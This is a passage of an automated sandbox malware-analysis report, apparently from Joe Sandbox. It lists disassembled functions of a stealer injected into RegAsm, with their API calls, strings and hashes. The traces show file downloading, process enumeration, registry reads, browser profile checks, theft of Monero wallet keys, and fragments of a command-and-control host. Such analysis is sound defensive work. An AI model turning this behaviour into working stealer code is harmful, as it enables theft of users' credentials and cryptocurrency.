lstrcpy.KERNEL32(?,00000000), ref: 0041337B
lstrcpy.KERNEL32(?,00000000), ref: 004133B7
lstrcpy.KERNEL32(?,00000000), ref: 004133F3
lstrcpy.KERNEL32(?,00000000), ref: 0041342F
strtok_s.MSVCRT ref: 004134F3

Strings

false, xrefs: 00413229
true, xrefs: 0041320A

Memory Dump Source

Source File: 00000004.00000002.4586316934.0000000000406000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.4586316934.0000000000400000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000417000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000419000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000423000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000042E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000049E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004C6000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004E5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000057E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy$strtok_s$lstrlen
String ID: false$true
API String ID: 2116072422-2658103896
Opcode ID: 0876c18d026be4f24bf0262b390ba56eb66b637fc63e684d1fa632819dd27352
Instruction ID: a12f977653f02622621d720cc0fe389e885380be574507a76c31322a84966581
Opcode Fuzzy Hash: 0876c18d026be4f24bf0262b390ba56eb66b637fc63e684d1fa632819dd27352
Instruction Fuzzy Hash: 19B149B59001189BCB60EF65DC89ACAB7B5BB14304F0005EAE909E7261EB75AFC58F94

Function 00406955 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 161
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004103D1: lstrcpy.KERNEL32(00000000,?), ref: 004103F0

Part of subcall function 00404AA7: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AD9
Part of subcall function 00404AA7: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404ADF
Part of subcall function 00404AA7: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AE5
Part of subcall function 00404AA7: lstrlen.KERNEL32(000000FF,00000000,?), ref: 00404AF7
Part of subcall function 00404AA7: InternetCrackUrlA.WININET(000000FF,00000000), ref: 00404AFF

Part of subcall function 0041039F: lstrcpy.KERNEL32(00000000,00000000), ref: 004103C5

InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 004069B7
StrCmpCA.SHLWAPI(?), ref: 004069D1
InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00406A00
HttpOpenRequestA.WININET(?,GET,?,00000000,00000000,-00400100,00000000), ref: 00406A3F
InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00406A6F
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00406A7A
HttpQueryInfoA.WININET(00000000,00000013,?,?,00000000), ref: 00406A9E
InternetReadFile.WININET(?,?,000007CF,?), ref: 00406B32
InternetCloseHandle.WININET(?), ref: 00406B42
InternetCloseHandle.WININET(?), ref: 00406B4E
InternetCloseHandle.WININET(?), ref: 00406B5A

Part of subcall function 004104C1: lstrlen.KERNEL32(?,00000000,?,0040605C,00436824), ref: 004104D5
Part of subcall function 004104C1: lstrcpy.KERNEL32(00000000,?), ref: 004104FD
Part of subcall function 004104C1: lstrcat.KERNEL32(?,00000000), ref: 00410508

Part of subcall function 00410445: lstrcpy.KERNEL32(00000000,?), ref: 00410475

Strings

GET, xrefs: 00406A34
ERROR, xrefs: 00406B9D
ERROR, xrefs: 00406AA8

Memory Dump Source

Source File: 00000004.00000002.4586316934.0000000000406000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.4586316934.0000000000400000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000417000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000419000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000423000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000042E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000049E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004C6000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004E5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000057E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$CloseHandleHttp$OpenRequestlstrlen$ConnectCrackFileInfoOptionQueryReadSendlstrcat
String ID: ERROR$ERROR$GET
API String ID: 3863758870-2509457195
Opcode ID: 05994d00fff610f480466028c466b9e1063660e02706b54c6d79f99033ca2f9d
Instruction ID: 954ee57ece1b8f4c7f79895d9199bd1c86eabccf33a5914da1360045542632b3
Opcode Fuzzy Hash: 05994d00fff610f480466028c466b9e1063660e02706b54c6d79f99033ca2f9d
Instruction Fuzzy Hash: D5517DB2A0016DAFDB20AF60CC85BEEB7B9FB04304F0181B6F549B2190CA745ED59F94

Function 00417000 Relevance: 23.5, APIs: 5, Strings: 8, Instructions: 760networksleepCOMMON

Download Yara Rule

APIs

Part of subcall function 004104C1: lstrlen.KERNEL32(?,00000000,?,0040605C,00436824), ref: 004104D5
Part of subcall function 004104C1: lstrcpy.KERNEL32(00000000,?), ref: 004104FD
Part of subcall function 004104C1: lstrcat.KERNEL32(?,00000000), ref: 00410508

Part of subcall function 00410445: lstrcpy.KERNEL32(00000000,?), ref: 00410475

Part of subcall function 00412439: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00412462
Part of subcall function 00412439: Process32First.KERNEL32(00000000,00000128), ref: 00412472
Part of subcall function 00412439: Process32Next.KERNEL32(00000000,00000128), ref: 00412484
Part of subcall function 00412439: StrCmpCA.SHLWAPI(?), ref: 00412496
Part of subcall function 00412439: CloseHandle.KERNEL32(00000000), ref: 004124AA

CreateDirectoryA.KERNEL32(?,00000000,0043578F,.exe,00435C2C,00435C28), ref: 00417140
InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 00417201
InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 0041721A

Part of subcall function 00404B20: InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 00404BBF
Part of subcall function 00404B20: StrCmpCA.SHLWAPI(?), ref: 00404BDD

Part of subcall function 00413526: StrCmpCA.SHLWAPI(?,block), ref: 0041353B
Part of subcall function 00413526: ExitProcess.KERNEL32 ref: 00413546

Part of subcall function 0041039F: lstrcpy.KERNEL32(00000000,00000000), ref: 004103C5

Part of subcall function 00412CFC: strtok_s.MSVCRT ref: 00412D1B
Part of subcall function 00412CFC: strtok_s.MSVCRT ref: 00412D9E

Sleep.KERNEL32(000003E8), ref: 004175D0
CloseHandle.KERNEL32(?), ref: 00417B36

Strings

_DEBUG.zip, xrefs: 00417A6B
4b4d1b9e209e656d32d6b94f658903b1, xrefs: 00417242
.exe, xrefs: 0041707F
gacan., xrefs: 004179B1
zapto, xrefs: 004179D5
http://, xrefs: 0041798D
org, xrefs: 00417A1D
.exe, xrefs: 0041793A

Memory Dump Source

Source File: 00000004.00000002.4586316934.0000000000417000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.4586316934.0000000000400000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000406000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000419000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000423000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000042E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000049E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004C6000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004E5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000057E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: InternetOpenlstrcpy$CloseCreateHandleProcess32strtok_s$DirectoryExitFirstNextProcessSleepSnapshotToolhelp32lstrcatlstrlen
String ID: .exe$.exe$4b4d1b9e209e656d32d6b94f658903b1$_DEBUG.zip$gacan.$http://$org$zapto
API String ID: 3897770526-2501005422
Opcode ID: 50d6da155f034320b90d36a63664d6fc04a9632995385197b28d3798030932a9
Instruction ID: 1904d62b97f46e83cc056309af072e8026db60ad1c16c37b2270ad0f8e56284a
Opcode Fuzzy Hash: 50d6da155f034320b90d36a63664d6fc04a9632995385197b28d3798030932a9
Instruction Fuzzy Hash: 9D5225315083559BC710FF26D9436CE73A0BF84308F51092EF98877192DBB9AE99879B

Function 00401274 Relevance: 21.1, APIs: 14, Instructions: 120stringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,004399EC), ref: 004012C0
lstrcat.KERNEL32(?,004399F0), ref: 004012CE
lstrcat.KERNEL32(?,004399F4), ref: 004012DC
lstrcat.KERNEL32(?,004399F8), ref: 004012EA
lstrcat.KERNEL32(?,004399FC), ref: 004012F8
lstrcat.KERNEL32(?,00439A00), ref: 00401306
lstrcat.KERNEL32(?,00439A04), ref: 00401314
lstrcat.KERNEL32(?,00439A08), ref: 00401322
lstrcat.KERNEL32(?,00439A0C), ref: 00401330
lstrcat.KERNEL32(?,00439A10), ref: 0040133E
lstrcat.KERNEL32(?,00439A14), ref: 0040134C
lstrcat.KERNEL32(?,00439A18), ref: 0040135A
lstrcat.KERNEL32(?,00439A1C), ref: 00401368

Part of subcall function 00410B3D: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00410B49
Part of subcall function 00410B3D: RtlAllocateHeap.NTDLL(00000000), ref: 00410B50
Part of subcall function 00410B3D: GetComputerNameA.KERNEL32(00000000,?), ref: 00410B64

ExitProcess.KERNEL32 ref: 004013D3

Memory Dump Source

Source File: 00000004.00000002.4586316934.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.4586316934.0000000000406000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000417000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000419000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000423000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000042E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000049E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004C6000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004E5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000057E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat$HeapProcess$AllocateComputerExitName
String ID:
API String ID: 1035723131-0
Opcode ID: a8db6b0aa86ee26444e3c5ffea13d22f8d1d075b363944fb12cacdfc265a3842
Instruction ID: 86faa6b47e31862c71ac9d16078af55cf1d82c7764f2473b1fcedf974b898f06
Opcode Fuzzy Hash: a8db6b0aa86ee26444e3c5ffea13d22f8d1d075b363944fb12cacdfc265a3842
Instruction Fuzzy Hash: 2241A9B1D0426C66CB20DB719C49FDB7BBC9F14350F5005A3E899E3191D6B89E88CB94

Function 004110BB Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 155registrystringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041039F: lstrcpy.KERNEL32(00000000,00000000), ref: 004103C5

RegOpenKeyExA.KERNEL32(?,00000000,00020019,?,004357A7), ref: 0041112B
RegEnumKeyExA.KERNEL32(?,?,?,?,00000000,00000000,00000000,00000000), ref: 00411168
wsprintfA.USER32 ref: 00411195
RegOpenKeyExA.KERNEL32(?,?,00000000,00020019,?), ref: 004111B4
RegQueryValueExA.KERNEL32(?,00000000,000F003F,?,?), ref: 004111EA
lstrlen.KERNEL32(?), ref: 004111FF

Part of subcall function 004104C1: lstrlen.KERNEL32(?,00000000,?,0040605C,00436824), ref: 004104D5
Part of subcall function 004104C1: lstrcpy.KERNEL32(00000000,?), ref: 004104FD
Part of subcall function 004104C1: lstrcat.KERNEL32(?,00000000), ref: 00410508

Part of subcall function 00410445: lstrcpy.KERNEL32(00000000,?), ref: 00410475

RegQueryValueExA.KERNEL32(?,00000000,000F003F,?,?,?,00435E5C), ref: 00411294

Strings

- , xrefs: 0041129E
%s\%s, xrefs: 0041118F
?, xrefs: 0041111B

Memory Dump Source

Source File: 00000004.00000002.4586316934.0000000000406000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.4586316934.0000000000400000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000417000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000419000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000423000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000042E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000049E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004C6000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004E5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000057E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy$OpenQueryValuelstrlen$Enumlstrcatwsprintf
String ID: - $%s\%s$?
API String ID: 1736561257-3278919252
Opcode ID: 0583170f9e29b5820b21a7c39b203d72c1f7e28794e5d8088f10da46c0fbfc32
Instruction ID: 810abfbcc856c4c0354cf8892d78a650ab9774b75ade2cc6a5904bdfcf424fc8
Opcode Fuzzy Hash: 0583170f9e29b5820b21a7c39b203d72c1f7e28794e5d8088f10da46c0fbfc32
Instruction Fuzzy Hash: 3361E3B590012C9BEB20DB25DD84EDAB7B9EB48304F1046E6A608B2121DF746EC9CF94

Function 0040E974 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 290COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(?), ref: 0040E9B1
StrCmpCA.SHLWAPI(?), ref: 0040EA0E
StrCmpCA.SHLWAPI(?,firefox), ref: 0040ECD5
StrCmpCA.SHLWAPI(?), ref: 0040EAEB

Part of subcall function 004103D1: lstrcpy.KERNEL32(00000000,?), ref: 004103F0

StrCmpCA.SHLWAPI(?), ref: 0040EB9B
StrCmpCA.SHLWAPI(?), ref: 0040EBF8

Strings

firefox, xrefs: 0040ECCF
Stable\, xrefs: 0040EA29
Stable\, xrefs: 0040EC13

Memory Dump Source

Source File: 00000004.00000002.4586316934.0000000000406000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.4586316934.0000000000400000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000417000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000419000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000423000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000042E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000049E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004C6000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004E5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000057E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID: Stable\$ Stable\$firefox
API String ID: 3722407311-2697854757
Opcode ID: d59bd8dcc5fb052d4e9a9d146d304f445a2535e36f8de47f0672f22c4962b7f3
Instruction ID: 4db9e78545394925769b8acee5b2533b0f8b14f49d29557a8f852d086a70ba2f
Opcode Fuzzy Hash: d59bd8dcc5fb052d4e9a9d146d304f445a2535e36f8de47f0672f22c4962b7f3
Instruction Fuzzy Hash: 98B18032D00109ABCF10FFA6DD47B8D77B1AF40318F514126FD14B7291DAB8AA698BD9

Function 004067DF Relevance: 13.6, APIs: 9, Instructions: 110networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 004103D1: lstrcpy.KERNEL32(00000000,?), ref: 004103F0

Part of subcall function 00404AA7: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AD9
Part of subcall function 00404AA7: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404ADF
Part of subcall function 00404AA7: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AE5
Part of subcall function 00404AA7: lstrlen.KERNEL32(000000FF,00000000,?), ref: 00404AF7
Part of subcall function 00404AA7: InternetCrackUrlA.WININET(000000FF,00000000), ref: 00404AFF

InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 00406828
StrCmpCA.SHLWAPI(?), ref: 00406848
InternetOpenUrlA.WININET(?,?,00000000,00000000,-00800100,00000000), ref: 00406869
CreateFileA.KERNEL32(?,40000000,00000003,00000000,00000002,00000080,00000000), ref: 00406884
WriteFile.KERNEL32(?,?,?,?,00000000), ref: 004068BA
InternetReadFile.WININET(00000000,?,00000400,?), ref: 004068EA
CloseHandle.KERNEL32(?), ref: 00406915
InternetCloseHandle.WININET(00000000), ref: 0040691C
InternetCloseHandle.WININET(?), ref: 00406928

Memory Dump Source

Source File: 00000004.00000002.4586316934.0000000000406000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.4586316934.0000000000400000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000417000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000419000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000423000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000042E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000049E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004C6000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004E5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000057E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Internet$CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID:
API String ID: 2507841554-0
Opcode ID: fe41dadd4c44b51aefdbe51790ffec91cf9c7f6639e2707cf487ed6fe82cda08
Instruction ID: a8b5cad3611573ce619ae62ea55a0af318d64a601d4c13b9e68ddc37b3778767
Opcode Fuzzy Hash: fe41dadd4c44b51aefdbe51790ffec91cf9c7f6639e2707cf487ed6fe82cda08
Instruction Fuzzy Hash: 0C415DB2900128EBDF209F21DD45BDA7BB9EB44314F1044B6FB09F21A1D6749E958FA8

Function 00401AA8 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 129stringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00401A41: GetProcessHeap.KERNEL32(00000000,00000104,?), ref: 00401A55
Part of subcall function 00401A41: RtlAllocateHeap.NTDLL(00000000), ref: 00401A5C
Part of subcall function 00401A41: RegOpenKeyExA.KERNEL32(80000001,SOFTWARE\monero-project\monero-core,00000000,00020119,00401AD9), ref: 00401A79
Part of subcall function 00401A41: RegQueryValueExA.ADVAPI32(00401AD9,wallet_path,00000000,00000000,00000000,000000FF), ref: 00401A94

lstrcat.KERNEL32(?,00000000), ref: 00401AE1
lstrlen.KERNEL32(?), ref: 00401AEE
lstrcat.KERNEL32(?,.keys), ref: 00401B09

Part of subcall function 0041039F: lstrcpy.KERNEL32(00000000,00000000), ref: 004103C5

Part of subcall function 004104C1: lstrlen.KERNEL32(?,00000000,?,0040605C,00436824), ref: 004104D5
Part of subcall function 004104C1: lstrcpy.KERNEL32(00000000,?), ref: 004104FD
Part of subcall function 004104C1: lstrcat.KERNEL32(?,00000000), ref: 00410508

Part of subcall function 00410445: lstrcpy.KERNEL32(00000000,?), ref: 00410475

Part of subcall function 00411B02: GetSystemTime.KERNEL32(?,0043579A), ref: 00411B31

Part of subcall function 0041047F: lstrcpy.KERNEL32(00000000,?), ref: 004104AD
Part of subcall function 0041047F: lstrcat.KERNEL32(?,00000000), ref: 004104B7

CopyFileA.KERNEL32(?,?,00000001,0043999C,004359F3,\Monero\wallet.keys,004359F2), ref: 00401C1A

Part of subcall function 004103D1: lstrcpy.KERNEL32(00000000,?), ref: 004103F0

Part of subcall function 00407F9E: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00407FB9
Part of subcall function 00407F9E: GetFileSizeEx.KERNEL32(00000000,?), ref: 00407FD0
Part of subcall function 00407F9E: LocalAlloc.KERNEL32(00000040,?), ref: 00407FE7
Part of subcall function 00407F9E: ReadFile.KERNEL32(?,00000000,?,?,00000000), ref: 00407FFE
Part of subcall function 00407F9E: CloseHandle.KERNEL32(?), ref: 00408026

DeleteFileA.KERNEL32(?), ref: 00401C8D

Strings

\Monero\wallet.keys, xrefs: 00401B1F
.keys, xrefs: 00401AFD

Memory Dump Source

Source File: 00000004.00000002.4586316934.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.4586316934.0000000000406000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000417000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000419000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000423000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000042E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000049E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004C6000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004E5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000057E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$lstrcat$Heaplstrlen$AllocAllocateCloseCopyCreateDeleteHandleLocalOpenProcessQueryReadSizeSystemTimeValue
String ID: .keys$\Monero\wallet.keys
API String ID: 2989680306-3586502688
Opcode ID: f9a6f12b4e9f31c168bb26d980528542cd183d368a4911eb401a459942f91a88
Instruction ID: 5a29aa17d3fad2e4458a9bccae25a70f64621e737554cab73c3a41a292a74246
Opcode Fuzzy Hash: f9a6f12b4e9f31c168bb26d980528542cd183d368a4911eb401a459942f91a88
Instruction Fuzzy Hash: DC5113B1E4012D9BCF10EB65DD86ADD7374AF44308F5044BAB60873192DAB96FC58F88

